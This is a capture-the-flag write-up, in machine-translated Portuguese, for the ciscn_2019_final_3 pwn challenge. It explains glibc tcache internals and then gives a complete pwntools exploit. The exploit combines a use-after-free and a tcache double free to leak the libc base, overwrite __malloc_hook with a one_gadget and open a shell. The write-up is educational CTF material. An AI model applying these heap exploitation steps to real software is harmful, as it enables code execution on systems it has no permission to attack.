ciscn_2019_final_3
degrau:
- Inspeção de rotina, programa de 64 bits, proteção total
- Faça um teste local para ver a situação geral, a dica é uma pilha de perguntas
- Ida load
add ()
remove () de 64 bits
tarefa
Primeiro contato com o tcache, de acordo com ctfwiki e este artigo para entender brevemente o tcache
O nome completo do tcache é thread local caching, que cria um cache para cada thread, de modo a realizar um algoritmo de alocação sem bloqueio e tem uma boa melhoria de desempenho. lib-2.26 [após 2.23] oficialmente fornece este mecanismo e é habilitado por padrão.
tcache apresenta duas novas estruturas tcache_entry
e tcache_perthread_struct
.
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next; //每个被放入相应bins中的chunk都会在其用户数据中包含一个tcache_entry(FD指针)。指向同bins中的下一个chunk,构成单链表
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS]; //数组counts用于存放每个bins中的chunk数量
tcache_entry *entries[TCACHE_MAX_BINS]; //数组entries用于放置64个bins
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
Para a introdução específica do tcache, consulte o link acima.
Use ideias:
- Use a vulnerabilidade uaf, aponte para o campo de tamanho de um heap e, em seguida, modifique-o para 0x400 ou mais, você pode inserir o bin não classificado em delete
- Através de uaf e malloc, o endereço de main_arena + 96 pode ser vazado, vazando assim o endereço de libc
- Hijack a função free_hook, modifique-a para o sistema e, em seguida, libere um pedaço com a string / bin / sh ou use diretamente one_gadget
Como meu ubuntu18.04 foi baixado recentemente, ele tem uma proteção aprimorada para reparar o duplo buraco livre, então não posso mover a captura de tela para explicá-lo e só posso fazer upload do código diretamente.
Quando o tamanho for menor do que o tamanho do bin pequeno (0x400), coloque-o no tcache correspondente primeiro, até que o tcache seja preenchido (o padrão é 7) e, em seguida, coloque-o no fastbin ou no bin não classificado. O
endereço libc vazado geralmente passa por unsortbin. Na presença do tcache, os programas de 64 bits precisam se inscrever para chunks de tamanho maior que 0x400 antes de poderem entrar em unsortbin depois de serem livres, para que possamos modificar o tamanho dos chunks.
Como o programa imprimirá o endereço do heap alocado para nós mais tarde, devemos encontrar uma maneira de alocar pedaços para o endereço libc. Após a sobreposição, a parte fd em tcache pode ser alterada para a parte fd de unsortbin, que pode ser alocada para o espaço de endereço libc
#encoding:utf-8
from pwn import *
#io=remote('node3.buuoj.cn',29277)
io=process('./ciscn_final_3')
libc=ELF('./libc.so.6')
context.log_level='debug'
def add(idx,size,data):
io.recvuntil('choice > ')
io.sendline('1')
io.recvuntil('the index')
io.sendline(str(idx))
io.recvuntil('the size')
io.sendline(str(size))
io.recvuntil('something')
io.sendline(data)
io.recvuntil('gift :')
return int(io.recvline()[2:],16)
def free(idx):
io.recvuntil('choice > ')
io.sendline('2')
io.recvuntil('the index')
io.sendline(str(idx))
heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#gdb.attach(io)
#dup
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
gdb.attach(io)
#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7 从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8 get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9 get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))
#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')
io.interactive()
Wp de referência:
https://www.cnblogs.com/pppyyyzzz/p/14040210.html
https://www.shangmayuan.com/a/c9cb50dbdea54d96a8619a3d.html
https://www.yuque.com/hxfqg9/bin/ms60xm